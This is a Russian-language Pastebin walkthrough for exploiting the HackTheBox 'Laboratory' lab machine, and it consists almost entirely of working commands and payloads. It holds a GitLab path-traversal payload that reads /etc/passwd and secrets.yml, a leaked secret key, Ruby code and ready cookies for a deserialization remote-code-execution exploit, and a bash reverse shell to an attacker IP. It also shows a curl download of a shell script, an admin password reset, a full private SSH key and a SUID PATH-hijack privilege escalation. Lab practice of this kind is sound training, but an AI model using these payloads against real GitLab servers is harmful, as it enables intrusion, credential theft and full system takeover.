Advertisement
askanton

HackTheBox - эксплуатация виртуальной машины Laboratory

Feb 4th, 2021
825
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.05 KB | None | 0 0
  1. Открываем терминал
  2. cd Desktop/
  3. sudo openvpn askanton.ovpn
  4. Делим терминал горизонтально
  5. ping 10.10.10.216
  6.  
  7. открываем новый терминал
  8. Сканируем
  9. nmap -A 10.10.10.216
  10.  
  11. Находим сайт, и дополнительный домен
  12. Добавляем в хостс
  13. sudo nano /etc/hosts
  14. 10.10.10.216 laboratory.htb git.laboratory.htb
  15. Заходим laboratory.htb
  16. Находим пользователей
  17. Dexter и Deedee
  18. Проверяем гоубастером
  19. gobuster dir -u https://laboratory.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k
  20. переходим на https://git.laboratory.htb/
  21. Регистрируемся
  22. Заходим на https://git.laboratory.htb/help
  23. Смотрим версию
  24. Ищем уязвимости для данной версии и находим:
  25. https://hackerone.com/reports/827052
  26. Делаем следующее:
  27. 1.Создаем Project1
  28. 2.Создаем Project11
  29. 3.В Project1 создаем issue с описанием ![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
  30. 4.Пермещаем issue в Project11
  31. 5. Получаем файл passwd
  32.  
  33. Повоторяем аналогичные шаги только теперь с описанием:
  34. ![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)
  35. Получаем secrets.yml
  36. secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
  37.  
  38. Теперь нам понадобиться такая же версия гитлаб на нашей кали
  39. Качаем https://packages.gitlab.com/gitlab/gitlab-ce/packages/ubuntu/xenial/gitlab-ce_12.8.1-ce.0_amd64.deb
  40. Добавляем репозитории sudo curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.deb.sh  
  41. Переходим в папку с гитом и запускаем установку
  42. cd /home/kali/Downloads/
  43. sudo dpkg -i gitlab-ce_12.8.1-ce.0_amd64.deb
  44. запускаем gitlab-ctl reconfigure
  45. Меняем значение ключа
  46. sudo nano /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
  47. sudo gitlab-ctl restart
  48. Переходим в консоль
  49. sudo gitlab-rails console
  50.  
  51. Продолжаем идти по инструкции из https://hackerone.com/reports/827052, генерируем cookie
  52.  
  53. поднимаем сервер куда будем передавать реверсшел
  54. nc -nlvp 7777
  55. поднимаем сервер с которого будем забирать шелл
  56. python3 -m http.server 5555
  57.  
  58. создаем шелл
  59. nano /home/kali/rev.sh
  60. #!/bin/bash
  61. bash -i >& /dev/tcp/10.10.14.46/7777 0>&1
  62.  
  63. Делаем запрос в наш гитлаб на скачивание шела
  64. request = ActionDispatch::Request.new(Rails.application.env_config)
  65. request.env["action_dispatch.cookies_serializer"] = :marshal
  66. cookies = request.cookie_jar
  67. erb = ERB.new("<%= `curl 10.10.14.141:5555/rev11.sh -o /tmp/rev11.sh` %>")
  68. depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
  69. cookies.signed[:cookie] = depr
  70. puts cookies[:cookie]
  71.  
  72.  
  73. Вставляем полученный куки в команду ниже:
  74. curl -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiUiNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC90bXAvcmV2LnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--19ae61e1131857582525c4271376e31a46e253ad" -k
  75.  
  76. Делаем запрос в наш гитлаб на запуск шела
  77. request = ActionDispatch::Request.new(Rails.application.env_config)
  78. request.env["action_dispatch.cookies_serializer"] = :marshal
  79. cookies = request.cookie_jar
  80. erb = ERB.new("<%= `bash /tmp/rev.sh` %>")
  81. depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
  82. cookies.signed[:cookie] = depr
  83. puts cookies[:cookie]
  84.  
  85. Вставляем полученный куки в команду ниже:
  86. curl -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kibiNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBjdXJsIDEwLjEwLjE0LjE0MTo1NTU1L3Jldi5zaCAtbyAvdG1wL3Jldi5zaGAgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ" -k
  87.  
  88. Смотрим кто мы
  89. id
  90.  
  91. Смотрим как сбросить пароль пользователя на гитлаб
  92. https://docs.gitlab.com/ee/security/reset_user_password.html
  93.  
  94. gitlab-rails console -e production
  95. user = User.where(id: 1).first
  96. user.password = 'password'
  97. user.password_confirmation = 'password'
  98. user.save!
  99.  
  100. заходим на https://git.laboratory.htb/ под Декстером
  101. Находим ключ от ssh
  102. https://git.laboratory.htb/dexter/securedocker/-/blob/master/dexter/.ssh/id_rsa
  103. -----BEGIN OPENSSH PRIVATE KEY-----
  104. b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
  105. NhAAAAAwEAAQAAAYEAsZfDj3ASdb5YS3MwjsD8+5JvnelUs+yI27VuDD7P21odSfNUgCCt
  106. oSE+v8sPNaB/xF0CVqQHtnhnWe6ndxXWHwb34UTodq6g2nOlvtOQ9ITxSevDScM/ctI6h4
  107. 2dFBhs+8cW9uSxOwlFR4b70E+tv3BM3WoWgwpXvguP2uZF4SUNWK/8ds9TxYW6C1WkAC8Z
  108. 25M7HtLXf1WuXU/2jnw29bzgzO4pJPvMHUxXVwN839jATgQlNp59uQDBUicXewmp/5JSLr
  109. OPQSkDrEYAnJMB4f9RNdybC6EvmXsgS9fo4LGyhSAuFtT1OjqyOY1uwLGWpL4jcDxKifuC
  110. MPLf5gpSQHvw0fq6/hF4SpqM4iXDGY7p52we0Kek3hP0DqQtEvuxCa7wpn3I1tKsNmagnX
  111. dqB3kIq5aEbGSESbYTAUvh45gw2gk0l+3TsOzWVowsaJq5kCyDm4x0fg8BfcPkkKfii9Kn
  112. NKsndXIH0rg0QllPjAC/ZGhsjWSRG49rPyofXYrvAAAFiDm4CIY5uAiGAAAAB3NzaC1yc2
  113. EAAAGBALGXw49wEnW+WEtzMI7A/PuSb53pVLPsiNu1bgw+z9taHUnzVIAgraEhPr/LDzWg
  114. f8RdAlakB7Z4Z1nup3cV1h8G9+FE6HauoNpzpb7TkPSE8Unrw0nDP3LSOoeNnRQYbPvHFv
  115. bksTsJRUeG+9BPrb9wTN1qFoMKV74Lj9rmReElDViv/HbPU8WFugtVpAAvGduTOx7S139V
  116. rl1P9o58NvW84MzuKST7zB1MV1cDfN/YwE4EJTaefbkAwVInF3sJqf+SUi6zj0EpA6xGAJ
  117. yTAeH/UTXcmwuhL5l7IEvX6OCxsoUgLhbU9To6sjmNbsCxlqS+I3A8Son7gjDy3+YKUkB7
  118. 8NH6uv4ReEqajOIlwxmO6edsHtCnpN4T9A6kLRL7sQmu8KZ9yNbSrDZmoJ13agd5CKuWhG
  119. xkhEm2EwFL4eOYMNoJNJft07Ds1laMLGiauZAsg5uMdH4PAX3D5JCn4ovSpzSrJ3VyB9K4
  120. NEJZT4wAv2RobI1kkRuPaz8qH12K7wAAAAMBAAEAAAGAH5SDPBCL19A/VztmmRwMYJgLrS
  121. L+4vfe5mL+7MKGp9UAfFP+5MHq3kpRJD3xuHGQBtUbQ1jr3jDPABkGQpDpgJ72mWJtjB1F
  122. kVMbWDG7ByBU3/ZCxe0obTyhF9XA5v/o8WTX2pOUSJE/dpa0VLi2huJraLwiwK6oJ61aqW
  123. xlZMH3+5tf46i+ltNO4BEclsPJb1hhHPwVQhl0Zjd/+ppwE4bA2vBG9MKp61PV/C0smYmr
  124. uLPYAjxw0uMlfXxiGoj/G8+iAxo2HbKSW9s4w3pFxblgKHMXXzMsNBgePqMz6Xj9izZqJP
  125. jcnzsJOngAeFEB/FW8gCOeCp2FmP4oL08+SknvEUPjWM+Wl/Du0t6Jj8s9yqNfpqLLbJ+h
  126. 1gQdZxxHeSlTCuqnat4khVUJ8zZlBz7B9xBE7eItdAVmGcrM9ztz9DsrLVTBLzIjfr29my
  127. 7icbK30MnPBbFKg82AVDPdzl6acrKMnV0JTm19JnDrvWZD924rxpFCXDDcfAWgDr2hAAAA
  128. wCivUUYt2V62L6PexreXojzD6aZMm2qZk6e3i2pGJr3sL49C2qNOY9fzDjCOyNd8S5fA14
  129. 9uNAEMtgMdxYrZZAu8ymwV9dXfI6x7V8s+8FCOiU2+axL+PBSEpsKEzlK37+iZ3D1XgYgM
  130. 4OYqq39p4wi8rkEaNVuJKYFo8FTHWVcKs3Z/y0NVGhPeaaQw3cAHjUv//K0duKA/m/hW8T
  131. WVAs1IA5kND4sDrNOybRWhPhzLonJKhceVveoDsnunSw/vLgAAAMEA5+gJm0gypock/zbc
  132. hjTa+Eb/TA7be7s2Ep2DmsTXpKgalkXhxdSvwiWSYk+PHj0ZO9BPEx9oQGW01EFhs1/pqK
  133. vUOZ07cZPMI6L1pXHAUyH3nyw56jUj2A3ewGOd3QoYDWS+MMSjdSgiHgYhO09xX4LHf+wc
  134. N2l+RkOEv7ZbOQedBxb+4Zhw+sgwIFVdLTblQd+JL4HIkNZyNXv0zOnMwE5jMiEbJFdhXg
  135. LOCTp45CWs7aLIwkxBPN4SIwfcGfuXAAAAwQDECykadz2tSfU0Vt7ge49Xv3vUYXTTMT7p
  136. 7a8ryuqlafYIr72iV/ir4zS4VFjLw5A6Ul/xYrCud0OIGt0El5HmlKPW/kf1KeePfsHQHS
  137. JP4CYgVRuNmqhmkPJXp68UV3djhA2M7T5j31xfQE9nEbEYsyRELOOzTwnrTy/F74dpk/pq
  138. XCVyJn9QMEbE4fdpKGVF+MS/CkfE+JaNH9KOLvMrlw0bx3At681vxUS/VeISQyoQGLw/fu
  139. uJvh4tAHnotmkAAAAPcm9vdEBsYWJvcmF0b3J5AQIDBA==
  140. -----END OPENSSH PRIVATE KEY-----
  141.  
  142.  
  143. Создаем файлик rsa
  144.  
  145. nano rsa
  146. chmod 600 rsa
  147.  
  148. конектимся к машине используя rsa
  149.  
  150. ssh -i rsa [email protected]
  151.  
  152. забираем ключ пользователя
  153. Читаем про SUID
  154. Смотрим что нам доступно
  155. find / -perm -4000 2>/dev/null
  156. Находим /usr/local/bin/docker-security
  157.  
  158. Читаем про уязвимость гитлаба
  159. https://gitlab.com/gitlab-org/gitlab-foss/-/issues/20582
  160.  
  161. cd /var/tmp
  162. echo "/bin/bash" > chmod
  163. ls
  164. cat chmod
  165. Даем доступ к файлу
  166. chmod 777 chmod
  167. echo $PATH
  168. export PATH=.:${PATH}
  169. echo $PATH
  170. /usr/local/bin/docker-security
  171.  
  172. забираем ключ рута
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement